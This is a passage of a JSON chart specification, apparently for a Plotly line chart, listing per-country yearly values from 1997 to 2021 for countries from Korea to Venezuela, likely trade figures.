143.98, - 180.77, - 259.39, - 12.48, - 131.93, - 87.9, - 88.59, - 25.08, - 3.01, - 3.47, - 1.41, - 5.27 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 950.41, - 1394.43, - 1104.42, - 893.76, - 1141.37, - 1522.01, - 2829.17, - 3508.77, - 4563.85, - 4803.15, - 6044.8, - 8676.78, - 8576.07, - 10475.29, - 12811.99, - 13105.12, - 12470.6, - 13529.11, - 13047.12, - 12585.35, - 16361.77, - 16758.97, - 15659.7, - 12772.97, - 12793.51 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 889.79, - 1501.09, - 1310.69, - 112.66, - 73.69, - 179.5, - 142.48, - 305.94, - 461.85, - 5993.23, - 7704.25, - 9593.74, - 8249.49, - 10313.64, - 16439.64, - 16588.13, - 17153.55, - 13381.97, - 4969.69, - 4462.28, - 7165.69, - 7430.82, - 9573.8, - 5214.15, - 7837.52 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.1, - 1.82, - 4.43, - 0.56, - 0.47, - 0.54, - 0.63, - 1.47, - 0.76, - 0.91, - 1.03, - 0.64, - 1.2, - 0.89, - 2.09, - 0.64, - 0.77, - 1.79, - 1.48, - 30.94, - 2.59, - 1.33, - 5.16, - 1.37 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0.04, - 0.15, - 0.13, - 0.05, - 0.1, - 0.35, - 0.11, - 0.53, - 20.05, - 0.22, - 89.26, - 138.64, - 39.4, - 85.28, - 180.03, - 207.38, - 168.63, - 1.04, - 3.09, - 1.7, - 0.71 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.8, - 12.19, - 0.86, - 4.43, - 0.93, - 2.84, - 0.43, - 1.1, - 10.13, - 31.85, - 40.95, - 113.87, - 154.94, - 196.32, - 143.2, - 73.63, - 103.89, - 36.22, - 61.57, - 39.65, - 52.63, - 158.44, - 265.54, - 48.88, - 30.74 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.68, - 1.16, - 12.09, - 7.42, - 11.8, - 13.04, - 7.68, - 20.46, - 18.51, - 11.17, - 9.45, - 13.2, - 6.78, - 18.31, - 21.44, - 30.01, - 37.25, - 39.74, - 27.61, - 30.21, - 38.47, - 43.94, - 30.94, - 27.95, - 23.35 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0, - 0, - 0.01, - 0, - 0.01, - 0.01, - 0, - 12.77, - 0, - 0, - 0.29, - 0.6, - 1.13, - 3.04, - 4.36, - 2.51, - 1.38, - 4.94, - 24.91, - 89.56, - 0, - 0.04, - 0.17, - 0 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.76, - 0, - 11.74, - 6.55, - 43.11, - 2.22, - 4.03, - 45.02, - 126.65, - 46.57, - 239.81, - 145.22, - 19.05, - 17.75, - 9.09, - 21.02, - 26.86, - 57.68, - 32.2, - 7.65, - 36.76, - 141.21, - 7.75, - 6.95, - 11.52 - ] - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.33, - 2.69, - 20.18, - 7.79, - 9.53, - 2.94, - 10.38, - 13.6, - 11.94, - 135.71, - 1230.67, - 684.61, - 622.64, - 969.09, - 38.33, - 1834.8, - 451.54, - 70.14, - 8.86, - 7.45, - 100.64, - 146.16, - 43.09, - 70.52, - 304.99 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.18, - 0, - 0.04, - 0.01, - 0, - 0.02, - 0.03, - 0.19, - 0.04, - 0.56, - 0.18, - 0.27, - 0.12, - 141.15, - 31.04, - 198.8, - 50.76, - 17.2, - 6.5, - 38.86, - 22.62, - 47.51, - 8.3, - 26.44 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.03, - 2.01, - 3.93, - 6.17, - 3.26, - 16.13, - 7.54, - 7.19, - 7.33, - 14.56, - 10.05, - 14.5, - 10.89, - 16.51, - 38.52, - 28.44, - 20.79, - 21.19, - 20.36, - 18.37, - 20.69, - 71.59, - 27.89, - 42.61, - 53.99 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.73, - 1.23, - 2.54, - 5.22, - 6.72, - 19.34, - 44.4, - 9.69, - 16.1, - 31.4, - 35.45, - 24.83, - 33.85, - 36.62, - 56.02, - 48.09, - 46.16, - 41.81, - 175.72, - 46.08, - 53.24, - 131.9, - 54.35, - 30.49, - 43.03 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.18, - 0.12, - 0.01, - 1.46, - 12.7, - 2.43, - 0, - 0.16, - 0.2, - 0.38, - 0.25, - 0.36, - 0.2, - 0.82, - 1.5, - 2.65, - 2.3, - 8.29, - 7.91, - 8.3, - 6.29, - 5.09, - 24.52, - 17.4 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.49, - 0.67, - 0.02, - 0.09, - 1.19, - 0.59, - 0.05, - 0.08, - 3.84, - 0.26, - 0.28, - 0.71, - 26.65, - 1.02, - 14.77, - 22.94, - 19.92, - 9.05, - 7.08, - 24.13, - 46.61, - 24.08, - 14.51, - 5.82, - 1.02 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.47, - 2.99, - 3.38, - 0.38, - 2.2, - 3.94, - 5.05, - 7.97, - 16.36, - 19.36, - 16.61, - 18.16, - 19.03, - 32.08, - 82.75, - 72.88, - 52.84, - 95.29, - 141.74, - 119.82, - 167.67, - 293.11, - 119.24, - 80.14, - 81.84 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.53, - 0.44, - 0.63, - 0.34, - 1.7, - 1.7, - 4.98, - 5.08, - 1.8, - 5.07, - 15.64, - 7.08, - 103.76, - 19.89, - 22.83, - 43.11, - 15.15, - 36.78, - 64.31, - 41.33, - 16.45, - 22.8, - 31.76, - 7.07, - 97 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1178.89, - 1608.36, - 1949.41, - 1176.8, - 1133.54, - 1465.42, - 2046.55, - 2299.01, - 2415.61, - 5290.31, - 6012.9, - 7184.78, - 5176.78, - 6523.58, - 9473.64, - 9951.06, - 9229.88, - 11117.74, - 9083.83, - 8933.59, - 9011.58, - 10818.6, - 9782.28, - 8373.05, - 9014.1 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.24, - 0.05, - 0.4, - 0.19, - 0.4, - 0.33, - 0.37, - 0.61, - 1.98, - 3.05, - 4.15, - 3.97, - 3.63, - 31.38, - 18.89, - 6.29, - 3.97, - 4.32, - 4.29, - 9.17, - 5.68, - 20.41, - 6, - 24.49, - 41.93 - ] - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.14, - 0.08, - 8.69, - 13.31, - 2.16, - 19.79, - 31.24, - 13.07, - 2.57, - 2.81, - 3.97, - 9.03, - 3.86, - 3.32, - 6.1, - 29.55, - 70.91, - 78.59, - 242.78, - 99.23, - 114.14, - 18.31, - 38.07, - 13.97, - 16.16 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 33.22, - 0.03, - 0.03, - 0.04, - 0.13, - 0.18, - 0.93, - 36.86, - 15.83, - 199.57, - 7.9, - 5.13, - 12.11, - 35.87, - 42.34, - 42.6, - 34.45, - 28.42, - 26.43, - 22.37, - 15.95, - 43.76, - 121.9, - 23.71, - 19.47 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0.01, - 0, - 0.01, - 0, - 0.04, - 0, - 0.01, - 0.42, - 0, - 0.01, - 0, - 0.04, - 0.12, - 0.09, - 0, - 0, - 0, - 0.81, - 0.29, - 0.82, - 0.42 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0.02, - 0.01, - 0.01, - 0.02, - 0.03, - 1.28, - 1.02, - 0.63, - 1.19, - 4.53, - 1.6, - 1.95, - 4.44, - 11.25, - 7.35, - 43.36, - 18.56, - 10.95, - 5.45, - 15.77, - 10.7, - 5.49, - 8.11 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.59, - 9.34, - 8.66, - 11.99, - 14, - 14.96, - 13.87, - 18.94, - 30.25, - 30.53, - 35.69, - 56.92, - 71.06, - 85.37, - 303.62, - 378.21, - 339.98, - 145.05, - 102.54, - 141.16, - 190.15, - 132.83, - 141.82, - 113.96, - 126.86 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.26, - 0.01, - 0.07, - 0.65, - 2.54, - 0.39, - 4.97, - 7.31, - 6.85, - 8.78, - 10.13, - 13.35, - 28.89, - 34.72, - 23.2, - 20.61, - 26.08, - 50.17, - 49.99, - 74.87, - 39.05, - 52.45, - 29.11, - 32.33 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 101.58, - 70.14, - 209.77, - 79.04, - 91.69, - 113.07, - 187.05, - 672.85, - 901.62, - 2060.08, - 2455.75, - 3498.91, - 4648.52, - 6819.87, - 12916.35, - 15693.08, - 15707.99, - 14604.71, - 9022.16, - 7646.22, - 8409.02, - 10721.7, - 9685.98, - 7930.15, - 8991.99 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1475.04, - 1721.24, - 2003.24, - 658.98, - 915.09, - 956.99, - 2059.84, - 4641.1, - 4354.08, - 8655.28, - 13482.61, - 23791.25, - 19499.1, - 32753.16, - 36756.32, - 39138.36, - 29019.82, - 26139.91, - 19445.68, - 21509.83, - 21739.11, - 29785.33, - 30256.65, - 26622.99, - 32716.4 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.98, - 124.63, - 124.5, - 59.49, - 76.09, - 91.15, - 109.32, - 131.65, - 119.76, - 99.17, - 166.38, - 190.59, - 238.05, - 326.57, - 239.73, - 752.88, - 724.45, - 1089.03, - 924.79, - 948.49, - 1029.71, - 903.47, - 1023.47, - 934.88, - 1488.64 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 226.57, - 273.11, - 326.02, - 337.92, - 423.09, - 379, - 609.05, - 865.88, - 1211.58, - 1747.75, - 2300.93, - 2703.82, - 2931.52, - 4272.09, - 5283.84, - 5352.61, - 5340.2, - 5865.88, - 5510.16, - 5415.4, - 7134.46, - 7441.81, - 6788.38, - 5682.27, - 6660.21 - ] - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0.01, - 0.04, - 0.58, - 0.05, - 0.23, - 0.01, - 1.7, - 22.17, - 0.05, - 0.83, - 0.31, - 0.03, - 0.17, - 0.1, - 0, - 0, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.95, - 1.44, - 14.23, - 12.69, - 10.85, - 12.84, - 20.67, - 46.03, - 79.26, - 76.11, - 60.97, - 135.24, - 69.37, - 91.89, - 150.28, - 177.41, - 156.34, - 195.65, - 225.09, - 138.42, - 163.8, - 303.93, - 383.54, - 300.23, - 238.54 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0, - 0, - 1.1, - 0.81, - 0, - 0.11, - 0.16, - 0.04, - 0.2, - 0, - 0.22, - 0.01, - 0.07, - 0.02, - 0.01, - 0, - 0.05, - 0, - 0.05, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.62, - 0.64, - 0.01, - 0, - 0.14, - 0.11, - 7.36, - 13.95, - 1.82, - 51.92, - 174.96, - 93.33, - 57.68, - 80.18, - 204.11, - 8.9, - 5.35, - 68.42, - 91.94, - 173.54, - 42.48, - 195.37, - 84.42, - 189.36, - 110.7 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 145.43, - 199.96, - 187.13, - 86.14, - 104.16, - 93.5, - 64.71, - 94.94, - 101.15, - 143.5, - 155.25, - 601.77, - 252.83, - 301.15, - 164.45, - 215.34, - 91.56, - 196.19, - 136.49, - 114.8, - 140.25, - 137.87, - 131.13, - 123.36, - 203.98 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 64.32, - 98.58, - 96.56, - 43.33, - 69.36, - 59.64, - 73.32, - 134.92, - 193.8, - 335.92, - 1687.59, - 1504.3, - 1603.64, - 821.06, - 1021.91, - 2034.18, - 760.43, - 1463.87, - 776.94, - 1207.31, - 2132.2, - 2388.26, - 2116.56, - 1467.33, - 1558.23 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.11, - 0.38, - 1.12, - 1.95, - 5.4, - 9.34, - 10.87, - 12.35, - 11.95, - 8.55, - 12.1, - 10, - 9.73, - 19.46, - 8.33, - 14.1, - 13.05, - 46.97, - 21.32, - 26.15, - 20.63, - 3.99, - 0.3, - 3.77 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 0.04, - 0, - 0.02, - 0.06, - 0.01, - 0.01, - 0, - 3.5, - 0.33, - 0.4, - 1.57, - 1.87, - 0.08, - 0.01, - 0.05, - 0.12, - 0.01, - 0.02, - 0.03, - 0.02, - 0, - 0.01, - 0.05, - 0.01 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1.56, - 0.35, - 0.05, - 0, - 0.01, - 0, - 0, - 1.42, - 0.01, - 0.13, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2443.29, - 2621.37, - 2702.57, - 3167.92, - 2563.2, - 2777.01, - 3234.33, - 3566.2, - 3930.3, - 4177.87, - 4953.68, - 5872.32, - 4461.67, - 5396.78, - 7134.3, - 6293.09, - 6045.1, - 5018.28, - 5192.54, - 3664.96, - 4806.75, - 7561.93, - 6712.63, - 4955.76, - 4827.28 - ] - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.2, - 0.32, - 0.22, - 1.26, - 3.44, - 3.31, - 5.5, - 12.56, - 25.17, - 15.46, - 18.33, - 28.06, - 27.74, - 22.79, - 22.61, - 18.78, - 13.9, - 18.05, - 18.16, - 18.52, - 18.42, - 22.02 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3714.18, - 3640.25, - 3560.22, - 3015, - 3149.62, - 4443.58, - 5034.83, - 7001.35, - 9454.74, - 11738.24, - 21067.24, - 18561.42, - 16973.68, - 20050.72, - 23454.92, - 25204.73, - 22505.08, - 21814.6, - 21781.39, - 22307.44, - 26611.03, - 35549.48, - 35819.87, - 28888.1, - 31344 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 0.33, - 2.27, - 3.07, - 1.2, - 1.97, - 2.05, - 6.6, - 2.84, - 4.76, - 15.12, - 19.32, - 13.38, - 13.64, - 18.22, - 27.4, - 33.14, - 37.69, - 45.52, - 68.93, - 56.21, - 23.06, - 33.98, - 38.59, - 47.29 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 179.74, - 135.82, - 152.63, - 130.25, - 166.88, - 194.96, - 235.15, - 538.67, - 792.39, - 996.49, - 883.5, - 1538.13, - 1593.52, - 1418.46, - 2463.71, - 2657.47, - 1804.75, - 2238.99, - 1751.1, - 2481.47, - 2355.97, - 2341.03, - 2060.79, - 2139.86, - 1980.11 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.12, - 1.9, - 2.04, - 2.89, - 3.52, - 4.66, - 10.22, - 4.05, - 4.04, - 7.29, - 13.14, - 14.73, - 16.04, - 17.32, - 31.43, - 24.41, - 20.42, - 20.35, - 17.71, - 13.45, - 24.98, - 42.96, - 57.24, - 163.59, - 120.22 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.71, - 1.67, - 12.97, - 10.58, - 17.27, - 20.54, - 27.7, - 31.46, - 26.13, - 33.91, - 16.2, - 70.74, - 29.97, - 20.63, - 37.04, - 31.85, - 31.5, - 55.86, - 45.26, - 46.54, - 101.67, - 126.73, - 66.85, - 14.94, - 18.4 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.29, - 29.18, - 0.04, - 4.45, - 13.63, - 0.2, - 48.1, - 9.35, - 1.05, - 6.94, - 2.27, - 0.07, - 0, - 5.37, - 0, - 0.01, - 0.29, - 0, - 0, - 0, - 0.26, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.77, - 6.6, - 2.57, - 14.44, - 2.58, - 3.71, - 2.51, - 4.02, - 9.55, - 748.9, - 389.91, - 4217.05, - 2885.76, - 5209.96, - 6666.9, - 